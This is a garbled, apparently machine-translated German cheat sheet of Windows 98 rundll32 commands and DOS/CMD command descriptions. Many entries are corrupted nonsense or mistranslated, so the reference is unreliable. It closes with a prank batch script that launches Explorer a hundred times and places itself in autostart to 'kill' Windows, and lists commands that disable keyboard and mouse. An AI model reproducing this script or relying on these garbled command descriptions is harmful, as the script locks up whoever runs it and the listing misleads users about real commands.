set - Ausgabe, Aufgabe und Entfernung von CMD.exe-Umgebungsvariablen. Systemeigenschaften (AVE. "Mein Comp") - zusätzlich - Umgebungsvariablen. Es gibt nicht alle Variablen, aber viel! Alle sehen nur eingestellt aus.
Übrigens sind hier einige Rundl-Befehle, die beim Erstellen von Batch-Dateien verwendet werden können

rundll32 Benutzer, WNetaDisconnectDialog
Fenster "Deaktivieren Sie einen Netzwerkdiskettendatenträger"

rundll32 Benutzer, DisableEemlayer
Versagen

rundll32 Benutzer, RepaintScreen
Aktualisieren (AS)

rundll32-Benutzer, SetCursorSorpos
Maus-Cursor links zu setzen

rundll32 disccopy, diskcopyrundll
Fenster "Copy disk" anrufen

rundll32 rnaui.dll, rnawizard / 1
Dialog "Kommunikation einstellen" anrufen (/ 1 \u003d ohne Fenster)

rundll32 shell, shellexecute
Explorer-Fenster öffnen im Fußverzeichnis

rundll32 shell32, openas_rundll
Fenster "offen mit ..." anrufen ***

rundll32 shell32, shformatdrive
Fenster "Foolmatization: disc3.5 (a)" Anruf

rundll32 shell32, shellabouta
Info-Box (über Windows) Anruf

rundll32 shell32, shexitwindowsex 0
Windows 98 begann (ohne autoexec.bat und dp.)

rundll32 shell32, shexitwindowsex 1
Arbeit mit Windows 98-Finish

rundll32 shell32, shexitwindowsex 2
Windows-98-PC-Boot

rundll32 shell32, shexitwindowsex -1
Windows-98-Explorer begann erneut

rundll32 shell32, control_rundll
Öffnen Sie das Uppress-Panel-Fenster

rundll32 shell32, control_rundll dkp.cl
Öffnen Sie die "ENKNARAN-Eigenschaften"

rundll32 shell32, control_rundll main.cpl
Öffnen Sie MODUL-Panels der YPPULATION von main.cl **

rundll32 krnl386.exe, exitkernel
beenden Sie ohne Nachrichten / Fragen von Windows

rundll32 user, swapmousebutton
"GO" Maustasten *

rundll32-Tastatur, deaktivieren
"Deaktivieren" keyimpy *

rundll32-maus, deaktivieren
"Deaktivieren" Maus *

rundll rnaui.dll, rnadial "propyp"
Rufen Sie mit dem Namen "PPWOP" das Fenster "Installation Communication" an.

rundll32 Benutzer, TilenClildWindows
fassen Sie alle nicht gekühlten Fenster des Ofens nach unten

rundll32 user, cascadechildwindows
fassen Sie alle Nicht-Windows-Kaskaden an

rundll32 sysdm.cpl, installdevice_rundll
(Einheit. Gelegenheit in W98) etablieren Nicht-Plug & Play-Stiefel

rundll32 msprint2.dll, runll_printtestpage
rufen Sie das Menü auf, das im Menü angezeigt wird, und senden Sie es einen Test

rundll32 user, setcaretblinktime
neue Kyp-Blinkfrequenz des Ministers *

rundll32 Benutzer, setDOUBLEClickTime
installieren Sie die neue Geschwindigkeit des doppelten Drückens erneut *

rundll32 setupx.dll, installHinfsection
DefaultInstall 130; C: \\ file.inf
fenster "Perezapysk-System. Gib es jetzt? Kommersant / nein b "****

Assocl - Zerocretments oder ändert die Kommunikation von Dateierweiterungen
Pläne, Befehle und Programme auf dem Computer auszuführen.
Attribut - Zeigt oder ändert Dateiattribute.
BREAK - Setzt oder storniert den Kombinationsscheck.
CACLs - Zeigt oder ändert den Zugriffskontrolllisten (ACLs) für Dateien an.
Rufen Sie an, ruft eine * .bat-Datei von einem anderen an.
CD - Zeigt den Namen an oder ändert den Namen des aktuellen Verzeichnisses.
CHCP - Zeigt oder legt die Nummer der aktiven Code-Seite an.
CDIR - Zeigt den Namen an oder ändert den Namen des aktuellen Verzeichnisses.
Chkdsk - Überprüft die Festplatte und zeigt einen Statusbericht an.
CLS - Reinigt den Bildschirm.
CMD - Startet eine neue Instanz von Windows NT-Dolmetscher.
Farbe - Legt die Standardfarben für die vordere und den hintere Konsole fest.
Befehl - Startet eine neue Kopie des Windows-Befehlsinterpreters.
Comp - Vergleicht den Inhalt von zwei Dateien oder der Installation von Dateien.
Compact - Zeigt die Dateikomprimierung auf Windows NT-Patricians (NTFS) an, oder modifiziert.
Konvertieren - Konvertiert Fettvolumente in das Dateisystemformat Windows NT (NTFS). Sie können die aktuelle Festplatte nicht konvertieren.
Kopieren - kopiert eine oder mehrere Dateien an einen anderen Ort.
CTTY - ändert das Endgerät, das zur Verwaltung Ihres Systems verwendet wird.
Datum - Zeigt oder legt das Datum an.
Del - löscht ein oder mehrere Dateien.
Debugg - führt Debugging, Testen von Programmen und Bearbeitungswerkzeugen aus.
Dir - Zeigt eine Liste von Dateien und Unterverzeichnis im Verzeichnis an.
Diskcomp - vergleicht den Inhalt von zwei Disketten.
Diskcopy - Kopiert den Inhalt einer Diskette in einen anderen.
Doskey - Bearbeitungsbefehlsreihen, stellt Windows-Befehle wieder her und erstellt ein Makro.
Echo - Zeigt Nachrichten an, oder schaltet die Befehlsausgabe ein / aus.
EMM386 - Aktiviert / deaktiviert den Support für den erweiterten EMM386-Speicher.
Endlocal - Beenden der Lokalisierung von Umweltwechsel in der * .bat-Datei.
Löschen - löscht ein oder mehrere Dateien.
EXIT - Stoppt die Ausführung des Programms (Befehlsinterpreter).
Extrakt ist ein Mittel, um Informationen aus CAB-Dateien zu extrahieren.
FC - Vergleicht zwei Dateien oder Dateiinstallationen und zeigt den Unterschied zwischen ihnen an.
Finden - auf der Suche nach einer Textzeichenfolge in einer Datei oder Dateien.
FindSTR - Suchen Sie nach Saiten in Dateien.
Für - führt den angegebenen Befehl für jede Datei in dem Dateisatz aus.
Format - Formatdiskette zur Verwendung mit Windows.
FTYPE - Zeigt oder modifiziert Dateitypen, die in Erweiterungslinks verwendet werden.
GOTO - Führt den Windows NT-Befehlsinterpreter auf die bezeichnete Zeile in der * .bat-Datei.
Graftabl - Windows-Fähigkeit, Pseudographiezeichen anzuzeigen, die im grafischen Modus eingefügt werden.
Hilfe - bietet Hilfeinformationen für Windows-Befehle.
Wenn - führt die Verarbeitung des Zustands in der * .bat-Datei aus.
Keyb - Konfiguriert die Tastatur für eine bestimmte Sprache.
Beschriftung - Erstellen, Änderungen oder Entfernt ein Drehmomentetikett auf der Festplatte.
LoadHigh (LH) - Downloads das Programm in die obere Speicheradresse.
MD - Erstellt ein Verzeichnis.
MEM - Zeigt den Betrag des und freien Speichers in Ihrem System an.
MKDIR - erstellt ein Verzeichnis.
Modus - Konfiguriert das Systemgerät.
Mehr - Zeigt die Ausgabe eines Bildschirms gleichzeitig an.
Bewegen - Verschiebt ein oder mehrere Dateien von einem Verzeichnis in eine andere auf derselben Festplatte.
Netstat - Zeigt Protokollstatistiken und aktuelle TCP / IP-Netzwerkverbindungen an.
NLSFUNK - Downloads von Informationen, die auf das Land spezifisch sind.
Pfad - Zeigt den Suchpfad für ausführbare Dateien an.
Pause - setzt die Verarbeitung der * .bat-Datei auf und zeigt die Nachricht an.
POPD - stellt den vorherigen Wert des von PushD gespeicherten aktuellen Verzeichnisses wieder her.
Drucken - druckt eine Textdatei.
Aufforderung - ändert die Aufforderung auf die Windows-Befehle.
Pushd - Speichert das aktuelle Verzeichnis und ändert sich anschließend.
RD - Löscht das Verzeichnis.
Wiederherstellen - stellt lesbare Informationen von einer schlechten oder defekten Festplatte wieder her.
REM - schreibt Kommentare (Anmerkungen) in * .bat-Dateien oder config.sys.
Ren - Benommene Dateien oder Dateien.
Umbenennen - Benennen Sie die Datei oder Dateien um.
Ersetzen - Ersetzt Dateien.
Wiederherstellen - Stellt Dateien wieder her, die mit dem Sicherungsbefehl archiviert wurden.
RMDIR - entfernt das Verzeichnis.
Set - Displays, Setzt oder löscht Windows-Umgebungsvariablen.
Setlocal - startet die Lokalisierung von Änderungen in der * .bat-Datei.
Setver - Legt die MS-DOS-Versionsnummer fest, die Windows das Programm meldet.
Schicht - verschiebt die Position der austauschbaren Parameter in der * .bat-Datei.
SMARTDRV - Installiert und konfiguriert das Smart Disk Caching Utility - Laufwerk.
Sortieren - sortiert den Eingabestrom.
Start - Startet ein separates Fenster, um das angegebene Programm oder den Befehl auszuführen.
Erstattung - Verbindet den Pfad mit einer Platte.
Sys - Kopiert die Befehle MS-DOS-Systemdateien und Interpreter-Befehle an das von Ihnen angegebene Laufwerk.
Zeit - Zeigt oder legt die Systemzeit an.
Titel - Legt den Fensterheader für eine Sitzung fest.
Baum - Zeigt die Verzeichnisstruktur grafisch im Laufwerk oder den Pfad an.
Typ - Zeigt den Inhalt der Textdatei an.
VER - Zeigt die Windows-Version an.
Überprüfen - Berichte Windows, ob Sie die Richtigkeit des Dateidordners auf der Festplatte überprüfen möchten.
VOL - Zeigt ein Plattenvolumenetikett und eine Seriennummer an.
Xcopy - Kopiert die Dateien und Bäumeverzeichnisse.

Nun, wenn Sie Windows dann "töten", dann:
@Echo off.
explorer starten.
explorer starten.
explorer starten.
explorer starten - 100-mal 100 wiederholen und in AutoLoad verschreiben.